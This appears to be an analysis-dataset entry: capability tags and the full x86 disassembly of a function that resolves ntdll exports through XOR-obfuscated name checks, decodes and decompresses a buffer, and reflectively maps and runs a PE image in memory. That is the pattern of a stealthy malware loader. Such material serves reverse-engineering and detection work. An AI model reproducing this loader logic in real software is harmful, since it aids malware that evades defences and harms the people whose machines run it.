Function at 0x10002910
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xb8
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movdqa xmmword [esp + 0x48], xmm0
movdqa xmmword [esp + 0x28], xmm0
mov edx, dword [esp + 0x28]
movdqa xmmword [esp + 0x38], xmm0
movdqa xmmword [esp + 0x58], xmm0
movdqa xmmword [esp + 0x68], xmm0
mov dword [esp + 0x50], eax
mov eax, dword [eax + 0xc]
push esi
push edi
mov dword [esp + 0xb8], ecx
mov esi, dword [eax + 0xc]
mov edi, dword [esi + 0x18]
test edi, edi
je 0x10002994
mov ecx, dword [esi + 0x30]
movzx eax, word [ecx]
cmp eax, 0x4e
je 0x10002971
cmp eax, 0x6e
jne 0x10002987
cmp word [ecx + 2], 0x74
jne 0x10002987
mov ax, word [ecx + 6]
cmp ax, word [ecx + 8]
cmove edx, edi
mov dword [esp + 0x30], edx
test edx, edx
jne 0x10002994
mov esi, dword [esi]
mov edi, dword [esi + 0x18]
test edi, edi
jne 0x10002961
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
add esi, edx
mov eax, dword [esp + 0x4c]
add ecx, edx
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0xa8], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x9c], eax
mov eax, dword [esi]
mov dword [esp + 0x1c], esi
mov ecx, dword [eax + edx + 8]
mov esi, dword [eax + edx]
xor ecx, 0x13250983
mov edi, dword [eax + edx + 4]
xor esi, 0x13250983
mov dword [esp + 8], ecx
xor edi, 0x13250983
mov ecx, dword [eax + edx + 0xc]
xor ecx, 0x13250983
mov dword [esp + 0xc], ecx
mov ecx, dword [eax + edx + 0x10]
mov eax, dword [eax + edx + 0x14]
xor ecx, 0x13250983
xor eax, 0x13250983
mov dword [esp + 0x24], ecx
cmp dword [esp + 0xa0], 0
mov ecx, dword [esp + 0x18]
mov dword [esp + 0xbc], eax
mov eax, dword [esp + 8]
jne 0x10002ab8
cmp esi, 0x7f647ed9
jne 0x10002ab8
cmp edi, 0x724666ef
jne 0x10002ab8
cmp eax, 0x7a736cf7
jne 0x10002ab8
cmp dword [esp + 0xc], 0x72507df1
jne 0x10002ab8
cmp dword [esp + 0x24], 0x7e4044ef
jne 0x10002ab8
cmp dword [esp + 0xbc], 0x135c7bec
jne 0x10002ab8
mov eax, dword [esp + 0x20]
movzx ecx, word [ecx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x18]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xa0], eax
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 8]
cmp dword [esp + 0x80], 0
jne 0x10002b0a
cmp esi, 0x61637ed9
jne 0x10002b0a
cmp edi, 0x7a736ce6
jne 0x10002b0a
cmp eax, 0x72507df1
jne 0x10002b0a
cmp dword [esp + 0xc], 0x7e4044ef
jne 0x10002b0a
cmp dword [esp + 0x24], 0x135c7bec
jne 0x10002b0a
mov eax, dword [esp + 0x20]
movzx ecx, word [ecx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x80], eax
mov dword [esp + 0x40], eax
cmp dword [esp + 0xa8], 0
jne 0x10002b45
cmp esi, 0x5f576dcf
jne 0x10002b45
cmp edi, 0x574168ec
jne 0x10002b45
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xa8], eax
mov dword [esp + 0x38], eax
cmp dword [esp + 0x9c], 0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
jne 0x10002ba9
cmp esi, 0x54576dcf
jne 0x10002ba9
cmp edi, 0x61757de6
jne 0x10002ba9
cmp eax, 0x77406aec
jne 0x10002ba9
cmp ecx, 0x52407bf6
jne 0x10002ba9
cmp dword [esp + 0x24], 0x76576de7
jne 0x10002ba9
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0xc]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x9c], eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 8]
cmp dword [esp + 0x10], 0
jne 0x10002c04
cmp esi, 0x52497dd1
jne 0x10002c04
cmp edi, 0x404c7aed
jne 0x10002c04
cmp eax, 0x7d4c7bf7
jne 0x10002c04
cmp ecx, 0x464a5de4
jne 0x10002c04
cmp dword [esp + 0x24], 0x7c4660ed
jne 0x10002c04
cmp dword [esp + 0xbc], 0x67766ce7
jne 0x10002c04
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x48], eax
cmp dword [esp + 0xa4], 0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
jne 0x10002c68
cmp esi, 0x55497dd1
jne 0x10002c68
cmp edi, 0x46406cf1
jne 0x10002c68
cmp eax, 0x7c4660ed
jne 0x10002c68
cmp ecx, 0x67766ce7
jne 0x10002c68
cmp dword [esp + 0x24], 0x744b60f1
jne 0x10002c68
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0xc]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xa4], eax
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 8]
cmp dword [esp + 0x28], 0
jne 0x10002cc0
cmp esi, 0x57497dd1
jne 0x10002cc0
cmp edi, 0x7e4a6ae6
jne 0x10002cc0
cmp eax, 0x60407bf3
jne 0x10002cc0
cmp ecx, 0x75504bf0
jne 0x10002cc0
xor eax, eax
cmp dword [esp + 0x24], 0x726566
sete al
xor eax, 0x13250983
je 0x10002cc0
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
cmp dword [esp + 0xa8], 0
je 0x10002cfa
mov edi, dword [esp + 0xa0]
test edi, edi
je 0x10002cfa
cmp dword [esp + 0x80], 0
je 0x10002cfa
cmp dword [esp + 0x9c], 0
je 0x10002cfa
cmp dword [esp + 0xa4], 0
je 0x10002cfa
cmp dword [esp + 0x10], 0
jne 0x10002d0b
mov esi, dword [esp + 0x1c]
add esi, 4
add dword [esp + 0x18], 2
jmp 0x100029f6
mov esi, dword [esp + 0xb8]
xor edx, edx
mov ecx, 4
lea esp, [esp]
movzx eax, word [esi + 2]
add word [ecx + esi], ax
movzx eax, word [esi]
xor word [ecx + esi], ax
lea eax, [edx + 0x128e]
add word [esi], ax
lea edx, [edx + 1]
add ecx, 2
cmp ecx, 0xc
jl 0x10002d20
mov eax, dword [esi + 8]
mov ecx, 4
and eax, 0xfffffffe
cmp eax, 8
jbe 0x10002d87
mov edx, 0xc
jmp 0x10002d60
movzx eax, word [esi + 2]
lea edx, [edx + 2]
add word [edx + esi - 2], ax
movzx eax, word [esi]
xor word [edx + esi - 2], ax
lea eax, [ecx + 0x128e]
add word [esi], ax
inc ecx
mov eax, dword [esi + 8]
shr eax, 1
cmp ecx, eax
jb 0x10002d60
mov eax, dword [esi + 4]
push 4
push 0x1000
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
push 0
lea eax, [esp + 0x60]
push eax
push 0xffffffffffffffff
call edi
lea eax, [esp + 0x54]
push eax
push dword [esi + 8]
lea eax, [esi + 0xc]
push eax
push dword [esi + 4]
push dword [esp + 0x60]
push 0x102
call dword [esp + 0x5c]
mov ecx, dword [esp + 0x50]
mov eax, 0x5a4d
mov dword [esp + 0x5c], ecx
cmp word [ecx], ax
je 0x10002ddb
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0x60], eax
cmp dword [eax], 0x4550
jne 0x10002dd3
mov eax, dword [eax + 0x50]
push 0x40
push 0x1000
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
push 0
lea eax, [esp + 0x74]
push eax
push 0xffffffffffffffff
call dword [esp + 0x54]
mov edx, dword [esp + 0x64]
test edx, edx
je 0x10002dd3
mov eax, dword [esp + 0x60]
xor ecx, ecx
cmp dword [eax + 0x54], ecx
jbe 0x10002e38
nop
mov eax, dword [esp + 0x5c]
mov al, byte [ecx + eax]
mov byte [ecx + edx], al
inc ecx
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
cmp ecx, dword [eax + 0x54]
jb 0x10002e20
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov eax, dword [eax + 0x3c]
add eax, edx
mov dword [esp + 0x68], eax
mov dword [eax + 0x34], edx
xor edx, edx
mov edi, dword [esp + 0x68]
cmp dx, word [edi + 6]
mov edx, edi
movzx eax, word [edi + 0x14]
jae 0x10002ed5
add edi, 0x28
add edi, eax
mov eax, dword [edi]
test eax, eax
jne 0x10002e99
mov eax, dword [esp + 0x60]
mov eax, dword [eax + 0x38]
test eax, eax
je 0x10002ec5
xor edx, edx
test eax, eax
je 0x10002ec1
lea esp, [esp]
mov ecx, dword [edi - 4]
mov eax, dword [esp + 0x64]
add ecx, edx
inc edx
mov byte [ecx + eax], 0
mov eax, dword [esp + 0x60]
cmp edx, dword [eax + 0x38]
jb 0x10002e80
jmp 0x10002ebd
xor esi, esi
test eax, eax
je 0x10002ec5
nop
mov ecx, dword [edi + 4]
mov eax, dword [esp + 0x50]
add ecx, esi
mov edx, dword [edi - 4]
add edx, esi
inc esi
mov cl, byte [ecx + eax]
mov eax, dword [esp + 0x64]
mov byte [edx + eax], cl
cmp esi, dword [edi]
jb 0x10002ea0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x68]
movzx eax, word [edx + 6]
inc ecx
add edi, 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x10002e65
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov edi, ecx
sub edi, dword [eax + 0x34]
mov dword [esp + 0x6c], edi
je 0x10002f7e
cmp dword [edx + 0xa4], 0
jbe 0x10002f7e
mov edx, dword [edx + 0xa0]
add edx, ecx
mov dword [esp + 0x10], edx
mov eax, dword [edx]
test eax, eax
je 0x10002f7e
jmp 0x10002f10
add eax, ecx
add edx, 8
mov dword [esp + 0x28], eax
xor esi, esi
mov eax, dword [esp + 0x10]
add eax, 4
mov dword [esp + 0x1c], eax
mov eax, dword [eax]
sub eax, 8
test eax, 0xfffffffe
jbe 0x10002f6a
movzx ecx, word [edx]
mov eax, ecx
and eax, 0xf000
cmp eax, 0x3000
jne 0x10002f53
and ecx, 0xfff
add ecx, dword [esp + 0x28]
add dword [ecx], edi
mov edi, dword [esp + 0x6c]
mov eax, dword [esp + 0x1c]
inc esi
add edx, 2
mov eax, dword [eax]
sub eax, 8
shr eax, 1
cmp esi, eax
jb 0x10002f32
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add edx, dword [eax]
mov dword [esp + 0x10], edx
mov eax, dword [edx]
test eax, eax
jne 0x10002f10
mov eax, dword [esp + 0x68]
cmp dword [eax + 0x84], 0
jbe 0x1000309b
mov esi, dword [eax + 0x80]
add esi, ecx
mov dword [esp + 0x1c], esi
je 0x1000309b
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10003097
add ecx, eax
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x10002fbf
inc eax
cmp byte [eax + ecx], 0
jne 0x10002fb8
mov word [esp + 0x78], ax
inc eax
mov word [esp + 0x7a], ax
lea eax, [esp + 0x78]
push 1
push eax
lea eax, [esp + 0x78]
push eax
call dword [esp + 0x54]
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0x74]
push eax
push 0
push 0
call dword [esp + 0x48]
lea eax, [esp + 0x70]
push eax
call dword [esp + 0x50]
mov edx, dword [esp + 0xb4]
test edx, edx
je 0x10002dd3
mov eax, dword [esi]
mov ecx, dword [esp + 0x64]
test eax, eax
je 0x1000301b
mov esi, dword [esi + 0x10]
lea edi, [eax + ecx]
add esi, ecx
jmp 0x10003022
mov edi, dword [esi + 0x10]
add edi, ecx
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x10003086
test eax, eax
jns 0x10003035
movzx eax, word [edi]
push esi
push eax
push 0
jmp 0x1000305e
add ecx, 2
add ecx, eax
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x1000304b
inc eax
cmp byte [eax + ecx], 0
jne 0x10003044
mov word [esp + 0x78], ax
inc eax
push esi
mov word [esp + 0x7e], ax
lea eax, [esp + 0x7c]
push 0
push eax
push edx
call dword [esp + 0x44]
cmp dword [esi], 0
je 0x10003082
mov eax, dword [edi + 4]
add edi, 4
add esi, 4
test eax, eax
je 0x10003082
mov ecx, dword [esp + 0x64]
mov edx, dword [esp + 0xb4]
jmp 0x10003028
mov ecx, dword [esp + 0x64]
mov esi, dword [esp + 0x1c]
add esi, 0x14
mov dword [esp + 0x1c], esi
jne 0x10002fa1
mov eax, dword [esp + 0x68]
mov edx, dword [eax + 0x28]
add edx, ecx
xor eax, eax
mov byte [eax + ecx], 0
inc eax
cmp eax, 4
jae 0x100030b2
mov ecx, dword [esp + 0x64]
jmp 0x100030a2
xor ecx, ecx
mov eax, dword [esp + 0x68]
mov byte [ecx + eax], 0
inc ecx
cmp ecx, 4
jb 0x100030b4
mov eax, dword [esp + 0x68]
cmp dword [eax + 0x28], 0
je 0x100030dc
mov ecx, dword [esp + 0xb8]
push ecx
push 1
push dword [esp + 0x6c]
call edx
push 0x4000
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x58]
push eax
push 0xffffffffffffffff
call dword [esp + 0x50]
mov eax, dword [esp + 0x64]
pop edi
pop esi
mov esp, ebp
pop ebp
ret